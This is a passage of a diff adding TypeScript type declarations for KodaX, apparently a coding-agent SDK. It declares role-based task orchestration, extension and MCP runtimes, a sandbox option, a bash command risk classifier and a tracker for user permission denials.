+ * (not as a replacement); the two coexist because V1 runs gate on the
2312
+ * Scout-emitted harness verdict while V2 runs gate on Worker
2313
+ * `todo_update`. Each predicate no-ops when its expected fields are
2314
+ * absent, so ship-side flag toggle (KODAX_HARNESS_V2) does not need a
2315
+ * separate registry.
2316
+ */
2317
+ declare const CODING_INVARIANTS: readonly QualityInvariant[];
2318
+ /**
2319
+ * Register the @kodax-ai/coding capability-coupled + coding-AMA-specific
2320
+ * invariants AND the @kodax-ai/agent pure-new invariants. Single bootstrap
2321
+ * call covers the FEATURE_101 admission v1 closed set + FEATURE_106's
2322
+ * external `harnessSelectionTiming`.
2323
+ *
2324
+ * Order matters: agent first (so the closed-set ids appear in
2325
+ * registration order before the coding additions), then coding.
2326
+ * Tests that need a specific subset should `_resetInvariantRegistry()`
2327
+ * and register only what they need.
2328
+ */
2329
+ declare function registerCodingInvariants(): void;
2330
+
2331
+ /**
2332
+ * KodaX Client
2333
+ *
2334
+ * 高级模式 - 提供面向对象的 Agent 客户端
2335
+ */
2336
+
2337
+ declare class KodaXClient {
2338
+ private options;
2339
+ private sessionId;
2340
+ private messages;
2341
+ private contextTokenSnapshot;
2342
+ constructor(options: KodaXOptions);
2343
+ send(prompt: string): Promise<KodaXResult>;
2344
+ getSessionId(): string;
2345
+ getMessages(): KodaXMessage[];
2346
+ clear(): void;
2347
+ }
2348
+
2349
+ declare function createFanoutSchedulerInput(controllerDecision: KodaXAmaControllerDecision, bundles: KodaXChildContextBundle[], reductionContract: KodaXParentReductionContract): KodaXFanoutSchedulerInput | undefined;
2350
+ declare function buildFanoutSchedulerPlan(input: KodaXFanoutSchedulerInput): KodaXFanoutSchedulerPlan;
2351
+ declare function getFanoutBranch(plan: KodaXFanoutSchedulerPlan, bundleId: string): KodaXFanoutBranchRecord;
2352
+ declare function countActiveFanoutBranches(plan: KodaXFanoutSchedulerPlan): number;
2353
+ declare function applyFanoutBranchTransition(plan: KodaXFanoutSchedulerPlan, transition: KodaXFanoutBranchTransition): KodaXFanoutSchedulerPlan;
2354
+ declare function assignFanoutBranchWorker(plan: KodaXFanoutSchedulerPlan, bundleId: string, workerId: string): KodaXFanoutSchedulerPlan;
2355
+ declare function markFanoutBranchCompleted(plan: KodaXFanoutSchedulerPlan, bundleId: string, childId?: string): KodaXFanoutSchedulerPlan;
2356
+ declare function markFanoutBranchCancelled(plan: KodaXFanoutSchedulerPlan, bundleId: string, reason: string): KodaXFanoutSchedulerPlan;
2357
+
2358
+ /**
2359
+ * Protocol emitter tools — FEATURE_084 Shard 2 (v0.7.26).
2360
+ *
2361
+ * Four role-specific `RunnableTool`s that replace the fenced-block text
2362
+ * protocol used by Scout / Planner / Generator / Evaluator today. Each tool
2363
+ * accepts a structured JSON payload, normalizes it via
2364
+ * `coerceManagedProtocolToolPayload` (the same normalizer the old fenced-block
2365
+ * parser uses), and surfaces the normalized payload on the tool result
2366
+ * `metadata.payload` field so the new Runner-driven task engine
2367
+ * (FEATURE_084 Shard 5) can make routing decisions without text parsing.
2368
+ *
2369
+ * **Data-only at this shard**: nothing consumes these tools yet. The SA
2370
+ * preset path and the existing managed-task engine continue to use the
2371
+ * legacy `emit_managed_protocol` tool + fenced-block fallback unchanged.
2372
+ *
2373
+ * **Payload parity contract**: a given JSON input MUST produce an identical
2374
+ * normalized payload to what the legacy fenced-block parser would produce
2375
+ * for the same JSON. This is enforced by sharing
2376
+ * `coerceManagedProtocolToolPayload` between both paths.
2377
+ */
2378
+
2379
+ /** Public tool name — LLM sees this on the tool list. */
2380
+ declare const EMIT_SCOUT_VERDICT_TOOL_NAME = "emit_scout_verdict";
2381
+ declare const EMIT_CONTRACT_TOOL_NAME = "emit_contract";
2382
+ declare const EMIT_HANDOFF_TOOL_NAME = "emit_handoff";
2383
+ declare const EMIT_VERDICT_TOOL_NAME = "emit_verdict";
2384
+ /**
2385
+ * Shared metadata shape on the tool result. The Runner-driven task engine
2386
+ * (Shard 5) inspects `payload` to understand verdicts and
2387
+ * `handoffTarget` to execute the next role transition.
2388
+ */
2389
+ interface ProtocolEmitterMetadata {
2390
+ /** The role that emitted this payload — always matches the tool's role. */
2391
+ readonly role: 'scout' | 'planner' | 'generator' | 'evaluator';
2392
+ /** Normalized payload slice (scout / contract / handoff / verdict). */
2393
+ readonly payload: Partial<KodaXManagedProtocolPayload>;
2394
+ /**
2395
+ * FEATURE_084 Shard 4 handoff signal. When set, the Runner looks up the
2396
+ * handoff in `currentAgent.handoffs` and transfers ownership. When
2397
+ * undefined, the current agent remains responsible (terminal / direct
2398
+ * case). See each emitter's body for the payload → target mapping.
2399
+ */
2400
+ readonly handoffTarget?: string;
2401
+ /**
2402
+ * True when the payload denotes a terminal outcome (H0 direct, accept,
2403
+ * blocked). The Runner uses this as a signal that no further LLM turn is
2404
+ * expected after the current one.
2405
+ */
2406
+ readonly isTerminal?: boolean;
2407
+ }
2408
+ /**
2409
+ * Scout verdict emitter. Reports the outcome of scope analysis and the
2410
+ * chosen harness tier. The Runner-driven task engine reads
2411
+ * `metadata.payload.scout.confirmedHarness` to decide whether to hand off
2412
+ * to Generator (H1) or Planner (H2), or to finish directly (H0).
2413
+ */
2414
+ declare const emitScoutVerdict: RunnableTool;
2415
+ /**
2416
+ * Planner contract emitter (H2 only). Produces the execution contract the
2417
+ * Generator consumes: success criteria, required evidence, constraints.
2418
+ */
2419
+ declare const emitContract: RunnableTool;
2420
+ /**
2421
+ * Generator handoff emitter. Signals that the Generator has finished its
2422
+ * execution round and hands off to the Evaluator for verification.
2423
+ */
2424
+ declare const emitHandoff: RunnableTool;
2425
+ /**
2426
+ * Evaluator verdict emitter. Decides the terminal outcome of the round:
2427
+ * accept, revise (retry with same harness), or blocked. The Runner-driven
2428
+ * engine reads `metadata.payload.verdict.status` to decide next hop.
2429
+ */
2430
+ declare const emitVerdict: RunnableTool;
2431
+ /** All four emitter tools, exposed as a tuple for iteration. */
2432
+ declare const PROTOCOL_EMITTER_TOOLS: readonly RunnableTool[];
2433
+
2434
+ declare function runManagedTask(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
2435
+
2436
+ interface RuntimeDefaultsSnapshot {
2437
+ activeTools?: string[];
2438
+ modelSelection: ExtensionModelSelection;
2439
+ thinkingLevel?: KodaXReasoningMode;
2440
+ }
2441
+ interface BoundExtensionRuntimeController {
2442
+ queueUserMessage(message: string | KodaXMessage): void;
2443
+ getSessionState<T = KodaXJsonValue>(extensionId: string, key: string): T | undefined;
2444
+ setSessionState(extensionId: string, key: string, value: KodaXJsonValue | undefined): void;
2445
+ getSessionStateSnapshot(extensionId: string): Record<string, KodaXJsonValue>;
2446
+ appendSessionRecord(extensionId: string, type: string, data?: KodaXJsonValue, options?: {
2447
+ dedupeKey?: string;
2448
+ }): KodaXExtensionSessionRecord;
2449
+ listSessionRecords(extensionId: string, type?: string): KodaXExtensionSessionRecord[];
2450
+ clearSessionRecords(extensionId: string, type?: string): number;
2451
+ getActiveTools(): string[];
2452
+ setActiveTools(toolNames: string[]): void;
2453
+ getModelSelection(): ExtensionModelSelection;
2454
+ setModelSelection(next: ExtensionModelSelection): void;
2455
+ getThinkingLevel(): KodaXReasoningMode | undefined;
2456
+ setThinkingLevel(level: KodaXReasoningMode): void;
2457
+ }
2458
+ interface ExtensionLoadOptions {
2459
+ continueOnError?: boolean;
2460
+ loadSource?: ExtensionLoadSource;
2461
+ stage?: Extract<ExtensionFailureStage, 'load' | 'reload'>;
2462
+ }
2463
+
2464
+ declare class KodaXExtensionRuntime implements ExtensionRuntimeContract {
2465
+ private readonly capabilityProviders;
2466
+ private readonly commands;
2467
+ private readonly eventHandlers;
2468
+ private readonly hookHandlers;
2469
+ private readonly loadedExtensions;
2470
+ private readonly failures;
2471
+ private readonly runtimeDisposables;
2472
+ private readonly runtimeLogger;
2473
+ private readonly config;
2474
+ private readonly runtimeController;
2475
+ private nextRecordId;
2476
+ private boundController;
2477
+ private defaultActiveTools;
2478
+ private defaultModelSelection;
2479
+ private defaultThinkingLevel;
2480
+ constructor(options?: {
2481
+ config?: Readonly<Record<string, unknown>>;
2482
+ });
2483
+ activate(): this;
2484
+ getDefaults(): RuntimeDefaultsSnapshot;
2485
+ bindController(controller: BoundExtensionRuntimeController): () => void;
2486
+ dispose(): Promise<void>;
2487
+ loadExtensions(paths: string[], options?: ExtensionLoadOptions): Promise<void>;
2488
+ loadExtension(extensionPath: string, options?: ExtensionLoadOptions): Promise<void>;
2489
+ reloadExtensions(options?: Pick<ExtensionLoadOptions, 'continueOnError'>): Promise<void>;
2490
+ listCapabilityProviders(): CapabilityProvider[];
2491
+ registerCapabilityProvider(provider: CapabilityProvider, options?: {
2492
+ source?: ExtensionContributionSource;
2493
+ }): () => void;
2494
+ registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
2495
+ registerHook<THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook], options?: {
2496
+ source?: ExtensionContributionSource;
2497
+ }): () => void;
2498
+ on<TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void, options?: {
2499
+ source?: ExtensionContributionSource;
2500
+ }): () => void;
2501
+ listCommands(): ExtensionCommandDefinition[];
2502
+ getCommand(name: string): ExtensionCommandDefinition | undefined;
2503
+ getDiagnostics(): ExtensionRuntimeDiagnostics;
2504
+ getCapabilityProvider(providerId: string): CapabilityProvider | undefined;
2505
+ searchCapabilities(providerId: string, query: string, options?: {
2506
+ kind?: CapabilityProvider['kinds'][number];
2507
+ limit?: number;
2508
+ server?: string;
2509
+ }): Promise<unknown[]>;
2510
+ describeCapability(providerId: string, capabilityId: string): Promise<unknown>;
2511
+ executeCapability(providerId: string, capabilityId: string, input: Record<string, unknown>): Promise<CapabilityResult>;
2512
+ readCapability(providerId: string, capabilityId: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
2513
+ getCapabilityPrompt(providerId: string, capabilityId: string, args?: Record<string, unknown>): Promise<unknown>;
2514
+ getCapabilityPromptContext(providerId: string): Promise<string | undefined>;
2515
+ refreshCapabilityProviders(providerId?: string): Promise<void>;
2516
+ hydrateSession(sessionId: string): Promise<void>;
2517
+ emit<TEvent extends keyof ExtensionEventMap>(event: TEvent, payload: ExtensionEventMap[TEvent]): Promise<void>;
2518
+ runHook<THook extends keyof ExtensionHookMap>(hook: THook, payload: Parameters<ExtensionHookMap[THook]>[0]): Promise<Awaited<ReturnType<ExtensionHookMap[THook]>> | undefined>;
2519
+ private createExtensionSource;
2520
+ private createRuntimeSource;
2521
+ private recordFailure;
2522
+ private createExtensionApi;
2523
+ private createLogger;
2524
+ private createRuntimeControllerProxy;
2525
+ private createExtensionApiRuntimeController;
2526
+ private registerRecord;
2527
+ private registerEventHandler;
2528
+ private registerHookHandler;
2529
+ private unloadExtension;
2530
+ private importExtensionModule;
2531
+ }
2532
+ declare function createExtensionRuntime(options?: {
2533
+ config?: Readonly<Record<string, unknown>>;
2534
+ }): KodaXExtensionRuntime;
2535
+ declare function setActiveExtensionRuntime(runtime: KodaXExtensionRuntime | null): void;
2536
+ declare function getActiveExtensionRuntime(): KodaXExtensionRuntime | null;
2537
+
2538
+ /**
2539
+ * Coding-runtime adapter: registers an `McpCapabilityProvider` (from
2540
+ * `@kodax-ai/mcp`) against the coding-specific `KodaXExtensionRuntime`.
2541
+ *
2542
+ * FEATURE_082 (v0.7.24): split out of the old
2543
+ * `capabilities/providers/mcp/provider.ts`. The provider class now lives in
2544
+ * `@kodax-ai/mcp` and stays free of any coding runtime dependency; this file
2545
+ * is the thin bridge that wires the provider into the coding extension
2546
+ * runtime.
2547
+ */
2548
+
2549
+ declare function registerConfiguredMcpCapabilityProvider(runtime: KodaXExtensionRuntime, servers: McpServersConfig | undefined, options?: McpProviderOptions): Promise<McpCapabilityProvider | undefined>;
2550
+
2551
+ type OfficialSandboxMode = 'enforced' | 'best_effort';
2552
+ interface OfficialSandboxOptions {
2553
+ workspaceRoot: string;
2554
+ mode?: OfficialSandboxMode;
2555
+ }
2556
+ declare function registerOfficialSandboxExtension(runtime: KodaXExtensionRuntime, options: OfficialSandboxOptions): () => void;
2557
+
2558
+ type OrchestrationTaskExecution = 'serial' | 'parallel';
2559
+ type OrchestrationTaskStatus = 'completed' | 'failed' | 'blocked';
2560
+ interface OrchestrationTaskBudget {
2561
+ maxIter?: number;
2562
+ reasoningMode?: KodaXReasoningMode;
2563
+ thinking?: boolean;
2564
+ }
2565
+ interface OrchestrationArtifact {
2566
+ kind: 'json' | 'text' | 'markdown';
2567
+ path: string;
2568
+ description?: string;
2569
+ }
2570
+ interface OrchestrationWorkerSpec<TInput = unknown> {
2571
+ id: string;
2572
+ title: string;
2573
+ input?: TInput;
2574
+ dependsOn?: string[];
2575
+ execution?: OrchestrationTaskExecution;
2576
+ timeoutMs?: number;
2577
+ budget?: OrchestrationTaskBudget;
2578
+ agent?: string;
2579
+ metadata?: Record<string, unknown>;
2580
+ beforeToolExecute?: KodaXEvents['beforeToolExecute'];
2581
+ }
2582
+ interface OrchestrationWorkerResult<TOutput = unknown> {
2583
+ success: boolean;
2584
+ output?: TOutput;
2585
+ summary?: string;
2586
+ error?: string;
2587
+ metadata?: Record<string, unknown>;
2588
+ artifacts?: OrchestrationArtifact[];
2589
+ }
2590
+ interface OrchestrationCompletedTask<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2591
+ id: string;
2592
+ title: string;
2593
+ task: TTask;
2594
+ status: OrchestrationTaskStatus;
2595
+ taskDir: string;
2596
+ startedAt: string;
2597
+ completedAt: string;
2598
+ durationMs: number;
2599
+ result: OrchestrationWorkerResult<TOutput>;
2600
+ }
2601
+ interface OrchestrationTaskContext<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2602
+ runId: string;
2603
+ workspaceDir: string;
2604
+ taskDir: string;
2605
+ dependencyResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
2606
+ emit: (message: string) => Promise<void>;
2607
+ signal?: AbortSignal;
2608
+ }
2609
+ type OrchestrationWorkerRunner<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> = (task: TTask, context: OrchestrationTaskContext<TTask, TOutput>) => Promise<OrchestrationWorkerResult<TOutput>>;
2610
+ /**
2611
+ * Trace event emitted by `runOrchestration` while stepping through a task DAG
2612
+ * (run/task start/message/complete/failed/blocked). Persisted as JSONL via
2613
+ * `appendTrace` to `{workspaceDir}/orchestration-trace.jsonl`.
2614
+ *
2615
+ * @deprecated FEATURE_083 (v0.7.24) originally superseded this by
2616
+ * `AgentSpan` / `HandoffSpan` in `@kodax-ai/tracing`. **FEATURE_086 (v0.7.27)
2617
+ * evaluated removal and kept it**: AgentSpan is scoped to a single Runner
2618
+ * lifecycle, whereas OrchestrationTraceEvent spans across Tasks scheduled
2619
+ * by `runOrchestration` — no cross-task span equivalent exists yet, and
2620
+ * `runOrchestration` + this type are part of the `@kodax-ai/coding` public
2621
+ * surface. The `@deprecated` tag is kept as a signal that new code
2622
+ * targeting in-Runner tracing should prefer `@kodax-ai/tracing` spans;
2623
+ * cross-task orchestration code is free to continue using this event.
2624
+ */
2625
+ interface OrchestrationTraceEvent {
2626
+ type: 'run_started' | 'task_started' | 'task_message' | 'task_completed' | 'task_failed' | 'task_blocked' | 'run_completed';
2627
+ timestamp: string;
2628
+ runId: string;
2629
+ taskId?: string;
2630
+ message?: string;
2631
+ status?: OrchestrationTaskStatus;
2632
+ metadata?: Record<string, unknown>;
2633
+ }
2634
+ interface OrchestrationRunEvents<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2635
+ onRunStart?: (info: {
2636
+ runId: string;
2637
+ workspaceDir: string;
2638
+ taskCount: number;
2639
+ }) => void | Promise<void>;
2640
+ onTaskStart?: (task: TTask) => void | Promise<void>;
2641
+ onTaskMessage?: (task: TTask, message: string) => void | Promise<void>;
2642
+ onTaskComplete?: (task: TTask, completed: OrchestrationCompletedTask<TTask, TOutput>) => void | Promise<void>;
2643
+ onRunComplete?: (result: OrchestrationRunResult<TTask, TOutput>) => void | Promise<void>;
2644
+ }
2645
+ interface OrchestrationRunOptions<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2646
+ tasks: TTask[];
2647
+ workspaceDir: string;
2648
+ runner: OrchestrationWorkerRunner<TTask, TOutput>;
2649
+ runId?: string;
2650
+ maxParallel?: number;
2651
+ signal?: AbortSignal;
2652
+ events?: OrchestrationRunEvents<TTask, TOutput>;
2653
+ }
2654
+ interface OrchestrationRunResult<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
2655
+ runId: string;
2656
+ workspaceDir: string;
2657
+ tasks: Array<OrchestrationCompletedTask<TTask, TOutput>>;
2658
+ taskResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
2659
+ summary: {
2660
+ total: number;
2661
+ completed: number;
2662
+ failed: number;
2663
+ blocked: number;
2664
+ };
2665
+ }
2666
+ interface KodaXAgentWorkerSpec extends OrchestrationWorkerSpec<string> {
2667
+ prompt: string;
2668
+ provider?: string;
2669
+ model?: string;
2670
+ }
2671
+ interface CreateKodaXTaskRunnerOptions<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec> {
2672
+ baseOptions: KodaXOptions;
2673
+ runAgent?: (options: KodaXOptions, prompt: string) => Promise<KodaXResult>;
2674
+ rateLimit?: <T>(operation: () => Promise<T>) => Promise<T>;
2675
+ buildPrompt?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => string;
2676
+ createEvents?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => KodaXEvents;
2677
+ createOptions?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, defaultOptions: KodaXOptions) => KodaXOptions;
2678
+ onResult?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, result: KodaXResult) => KodaXResult | void | Promise<KodaXResult | void>;
2679
+ runTask?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, preparedOptions: KodaXOptions, prompt: string, executeDefault: () => Promise<KodaXResult>) => Promise<KodaXResult>;
2680
+ }
2681
+ declare function runOrchestration<TTask extends OrchestrationWorkerSpec, TOutput = unknown>(options: OrchestrationRunOptions<TTask, TOutput>): Promise<OrchestrationRunResult<TTask, TOutput>>;
2682
+ declare function createKodaXTaskRunner<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec>(options: CreateKodaXTaskRunnerOptions<TTask>): OrchestrationWorkerRunner<TTask, string>;
2683
+
2684
+ /**
2685
+ * KodaX Parallel Task Dispatch
2686
+ *
2687
+ * Enables Scout to dispatch independent subtasks in parallel via runOrchestration.
2688
+ * This is the minimal viable slice of #92 (Team Agent).
2689
+ */
2690
+ interface ParallelSubtask {
2691
+ readonly id: string;
2692
+ readonly description: string;
2693
+ readonly prompt: string;
2694
+ }
2695
+ interface ParallelDispatchDirective {
2696
+ readonly type: 'parallel_dispatch';
2697
+ readonly subtasks: readonly ParallelSubtask[];
2698
+ readonly reason: string;
2699
+ }
2700
+ interface ParallelDispatchResult {
2701
+ readonly tasks: readonly {
2702
+ readonly id: string;
2703
+ readonly description: string;
2704
+ readonly status: 'completed' | 'failed';
2705
+ readonly summary: string;
2706
+ readonly durationMs: number;
2707
+ }[];
2708
+ readonly overallSummary: string;
2709
+ readonly totalDurationMs: number;
2710
+ }
2711
+ /**
2712
+ * Check if a Scout directive indicates parallel dispatch.
2713
+ */
2714
+ declare function isParallelDispatchDirective(directive: unknown): directive is ParallelDispatchDirective;
2715
+ /**
2716
+ * Format parallel dispatch results into a user-facing summary.
2717
+ */
2718
+ declare function formatParallelDispatchResult(result: ParallelDispatchResult): string;
2719
+ /**
2720
+ * Validate that subtasks are independent (basic heuristic check).
2721
+ * Returns null if valid, or an error message if not.
2722
+ */
2723
+ declare function validateSubtaskIndependence(subtasks: readonly ParallelSubtask[]): string | null;
2724
+
2725
+ /**
2726
+ * KodaX Bash Command Risk Classifier
2727
+ *
2728
+ * Classifies bash commands into safe/normal/dangerous risk levels.
2729
+ * Pure function, no side effects.
2730
+ */
2731
+ type BashRiskLevel = 'safe' | 'normal' | 'dangerous';
2732
+ interface BashClassificationResult {
2733
+ readonly level: BashRiskLevel;
2734
+ readonly reason: string;
2735
+ readonly matchedPattern?: string;
2736
+ }
2737
+ interface BashClassifierConfig {
2738
+ readonly safePatterns: readonly RegExp[];
2739
+ readonly dangerousPatterns: readonly RegExp[];
2740
+ }
2741
+ declare const DEFAULT_SAFE_PATTERNS: readonly RegExp[];
2742
+ declare const DEFAULT_DANGEROUS_PATTERNS: readonly RegExp[];
2743
+ declare function createBashClassifierConfig(userSafePatterns?: readonly string[], userDangerousPatterns?: readonly string[]): BashClassifierConfig;
2744
+ declare function classifyBashCommand(command: string, config?: BashClassifierConfig): BashClassificationResult;
2745
+
2746
+ /**
2747
+ * KodaX Denial Tracker - Immutable session-scoped tool denial tracking
2748
+ *
2749
+ * Tracks user permission denials to avoid re-prompting for the same operation.
2750
+ * Provides denial context for injection into agent messages.
2751
+ */
2752
+ interface DenialRecord {
2753
+ readonly toolName: string;
2754
+ readonly inputSignature: string;
2755
+ readonly timestamp: number;
2756
+ readonly reason?: string;
2757
+ }
2758
+ interface DenialTracker {
2759
+ readonly records: readonly DenialRecord[];
2760
+ }
2761
+ declare function createDenialTracker(): DenialTracker;
2762
+ /**
2763
+ * Compute a normalized signature for a tool input.
2764
+ * - bash: first 3 tokens of the command
2765
+ * - edit/write/read: file path
2766
+ * - other: tool name + hash prefix
2767
+ */
2768
+ declare function computeInputSignature(toolName: string, input: Record<string, unknown>): string;
2769
+ declare function recordDenial(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, reason?: string): DenialTracker;
2770
+ declare function isDeniedRecently(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, ttl?: number): boolean;
2771
+ /**
2772
+ * Generate a denial context string for injection into agent messages.
2773
+ * Tells the LLM what was denied so it can adjust its strategy.
2774
+ */
2775
+ declare function getDenialContext(tracker: DenialTracker): string;
2776
+
2777
+ /**
2778
+ * Placeholder Agent declarations for the coding-AMA H2 task-engine roles
2779
+ * (Scout / Planner / Generator / Worker).
2780
+ *
2781
+ * FEATURE_080 (v0.7.23): these declarations exist so the role identities
2782
+ * are represented as Layer A `Agent` data, which downstream features need:
2783
+ *
2784
+ * - FEATURE_084 (v0.7.26): runtime rewrite of Scout/Planner/Generator
2785
+ * on top of `Runner` consumes these declarations as the source of
2786
+ * truth for role metadata.
2787
+ * - FEATURE_078 (v0.7.29): reasoning profiles attach to the `reasoning`
2788
+ * field on these declarations.
2789
+ * - FEATURE_087+ self-construction: Agent-as-data means role specs can
2790
+ * be serialized, versioned, and mutated.
2791
+ *
2792
+ * Runtime note: **no preset dispatcher is registered for these agents**.
2793
+ * They are declarative placeholders. `Runner.run(scoutAgent, ...)` without
2794
+ * an `opts.llm` callback will throw the generic "no dispatcher" error;
2795
+ * that's intentional — the current task-engine executes these roles via
2796
+ * its existing internal flow, not through `Runner`. FEATURE_084 wires the
2797
+ * Runner runtime to these declarations.
2798
+ *
2799
+ * `instructions` strings here are short identifier-level summaries — the
2800
+ * full role prompts live in
2801
+ * `packages/coding/src/task-engine/_internal/prompts/role-prompt.ts` (the
2802
+ * FEATURE_079 extraction) and are loaded by the existing code path.
2803
+ *
2804
+ * v0.7.35.1 FEATURE_142 (A-R1): moved from `@kodax-ai/agent/src/primitives/`
2805
+ * back to `@kodax-ai/coding/src/agents/`. These role declarations are
2806
+ * coding-AMA-specific (Scout / Planner / Generator are the H2 state-machine
2807
+ * roles, not generic Agent platform primitives). Per ADR-021, the universal
2808
+ * `@kodax-ai/agent` framework must not predeclare coding's H2 role
2809
+ * identities.
2810
+ */
2811
+
2812
+ declare const SCOUT_AGENT_NAME = "kodax/role/scout";
2813
+ declare const PLANNER_AGENT_NAME = "kodax/role/planner";
2814
+ declare const GENERATOR_AGENT_NAME = "kodax/role/generator";
2815
+ /**
2816
+ * Scout role declaration. Scout is the AMA entry point that both judges
2817
+ * task complexity and executes the H0 direct case; on H1/H2 it hands off
2818
+ * to Generator or Planner (see FEATURE_061).
2819
+ */
2820
+ declare const scoutAgent: Agent;
2821
+ /**
2822
+ * Planner role declaration. Produces an execution plan consumed by
2823
+ * Generator in the H2 harness.
2824
+ */
2825
+ declare const plannerAgent: Agent;
2826
+ /**
2827
+ * Generator role declaration. Performs the actual code changes /
2828
+ * investigations in both H1 harness; text-only terminates so Sidecar
2829
+ * Verifier (FEATURE_184 Phase D.2) takes over verification.
2830
+ */
2831
+ declare const generatorAgent: Agent;
2832
+ /** All three placeholder role agents, exposed for iteration in downstream features. */
2833
+ declare const TASK_ENGINE_ROLE_AGENTS: Readonly<{
2834
+ readonly scout: Agent<unknown>;
2835
+ readonly planner: Agent<unknown>;
2836
+ readonly generator: Agent<unknown>;
2837
+ }>;
2838
+
2839
+ /**
2840
+ * Default coding agent preset (FEATURE_080 → FEATURE_100).
2841
+ *
2842
+ * History:
2843
+ * v0.7.23 (FEATURE_080) introduced "Option Y": a `registerPresetDispatcher`
2844
+ * indirection that wrapped `runKodaX` so `Runner.run(defaultCodingAgent, …)`
2845
+ * appeared SDK-native while the body stayed on the legacy path. The trade-off
2846
+ * was deliberate parity insurance during the Layer-A primitives rollout.
2847
+ *
2848
+ * v0.7.29 (FEATURE_100) deletes Option Y per ADR-020. The substrate executor
2849
+ * is attached directly to the Agent declaration via `Agent.substrateExecutor`
2850
+ * (an Agent field added in this version), and `Runner.run` consults that
2851
+ * field before any registry lookup. No `registerPresetDispatcher` call is
2852
+ * made any more, so `Runner.run(createDefaultCodingAgent(), …)` and
2853
+ * `runKodaX(opts, prompt)` (now a thin `Runner.run` wrapper in `agent.ts`)
2854
+ * share one execution path.
2855
+ *
2856
+ * This file stays in `@kodax-ai/coding` because the substrate executor closure
2857
+ * imports `runSubstrate` from `agent-runtime/run-substrate.ts`. Importing
2858
+ * `@kodax-ai/core` alone never loads the substrate body.
2859
+ */
2860
+
2861
+ /** Stable name used as the dispatch key for the built-in coding preset. */
2862
+ declare const DEFAULT_CODING_AGENT_NAME = "kodax/coding/default";
2863
+ /**
2864
+ * Construct the default coding Agent declaration. SDK consumers may write
2865
+ * `Runner.run(createDefaultCodingAgent(), prompt, { presetOptions })` and
2866
+ * the Runner will execute the substrate via `Agent.substrateExecutor`.
2867
+ *
2868
+ * `overrides` lets callers attach additional declarative fields
2869
+ * (e.g. custom `reasoning` profile, extra `guardrails`, custom
2870
+ * `provider`/`model`); these are preserved on the Agent and may be
2871
+ * consumed by the substrate executor through `presetOptions`.
2872
+ */
2873
+ declare function createDefaultCodingAgent(overrides?: Partial<Omit<Agent, 'name' | 'instructions'>>): Agent;
2874
+
2875
+ /**
2876
+ * Coding Agent declarations — FEATURE_084 (v0.7.26).
2877
+ *
2878
+ * **These are declarative references exposing the canonical Scout /
2879
+ * Planner / Generator topology to SDK consumers.** Each exported Agent
2880
+ * carries the role's emit tool + the H0/H1/H2 handoff graph, but carries
2881
+ * ONLY a short identifier `instructions` string and NO coding tools
2882
+ * (read / grep / bash / write / edit / etc.).
2883
+ *
2884
+ * **The runtime agents are built fresh by
2885
+ * `task-engine/runner-driven.ts::buildRunnerAgentChain` on every run**,
2886
+ * with:
2887
+ * - full v0.7.22-parity `instructions` via
2888
+ * `_internal/managed-task/role-prompt.ts::createRolePrompt` (dynamic
2889
+ * closure resolving decision / contract / metadata / verification /
2890
+ * tool-policy / evidence-strategy / dispatch guidance per turn)
2891
+ * - per-run coding tools (read / grep / glob / bash / write / edit /
2892
+ * dispatch_child_task) wrapped with budget + mutation tracking +
2893
+ * progress reporting
2894
+ * - recorder-wrapped emit tools that drive the budget-extension
2895
+ * dialog + degraded-continue logic
2896
+ *
2897
+ * So these exports are **useful as topology documentation and as a
2898
+ * starting point for custom Runner invocations** (e.g. Runner.run with
2899
+ * your own llm adapter), but they are NOT the agents that run under
2900
+ * normal AMA dispatch. Do not expect wrapping `scoutCodingAgent` to
2901
+ * give you the behaviour of an in-SDK AMA run — for that, use
2902
+ * `runManagedTaskViaRunner` or the preset dispatcher on
2903
+ * `createDefaultCodingAgent`.
2904
+ */
2905
+
2906
+ /** Marker exported for tests and for future binding sites in Shard 5. */
2907
+ declare const CODING_AGENT_MARKER: "kodax-coding-agent@0.7.26";
2908
+ declare const scoutCodingAgent: Agent;
2909
+ declare const plannerCodingAgent: Agent;
2910
+ declare const generatorCodingAgent: Agent;
2911
+ /**
2912
+ * Topology record — iterable form of the three coding agents. Shard 5's
2913
+ * Runner-driven dispatcher uses this as the agent lookup.
2914
+ */
2915
+ declare const CODING_AGENTS: Readonly<{
2916
+ readonly scout: Agent<unknown>;
2917
+ readonly planner: Agent<unknown>;
2918
+ readonly generator: Agent<unknown>;
2919
+ }>;
2920
+
2921
+ /**
2922
+ * Adapter: wrap `applyToolResultGuardrail` (the existing per-tool truncation
2923
+ * policy) as a Layer A `ToolGuardrail.afterTool`.
2924
+ *
2925
+ * FEATURE_085 (v0.7.26): the tri-layer Guardrail runtime lives in
2926
+ * `@kodax-ai/core`. The existing truncation logic in `tool-result-policy.ts`
2927
+ * predates that runtime and targets `KodaXToolExecutionContext`. Rather
2928
+ * than merge the two, we expose an adapter that coding consumers can
2929
+ * register when driving a Runner through the generic path — the adapter
2930
+ * preserves byte-exact truncation behaviour while participating in the
2931
+ * new Guardrail lifecycle (Span emission, declaration-order composition).
2932
+ *
2933
+ * **Not** registered by default. Consumers opt in via
2934
